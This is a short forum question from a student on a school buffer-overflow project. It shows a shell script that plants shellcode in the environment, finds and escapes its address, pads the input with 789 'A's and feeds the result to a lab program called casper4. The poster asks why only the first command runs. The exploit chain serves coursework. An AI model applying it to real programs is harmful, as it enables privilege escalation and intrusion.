I'm writing a buffer overflow exploit for a school project. The program I'm trying to exploit is called casper4
. I know how to exploit the program but now I'm trying to put the sequence of commands into one shell script.
My script looks like this:
#!/bin/sh
./egg1; # Put the shell code in the enviromnent
./eggfind > output.txt; # Put the address of the shellcode in output.txt
./escapeAddr "$(<output.txt)" > addressHexa.txt # Escape the address
echo -e "$(<addressHexa.txt)" > address.txt; # Address to ascii
perl -e 'print "A"x789' > As.txt; # Get As to fill the buffer
cat As.txt address.txt > input.txt; # Create one input file
./casper4 "$(<input.txt)"; # Feed the input to the program
I don't think it's important to know what each script/program does. The problem is that whenever I run this script it only seems to execute ./egg1 instead of all the commands in sequence.
It produces the correct result when I enter each of these lines separately into my command-line.
How can I let this script achieve the same result as entering each of these lines one for one into the command-line?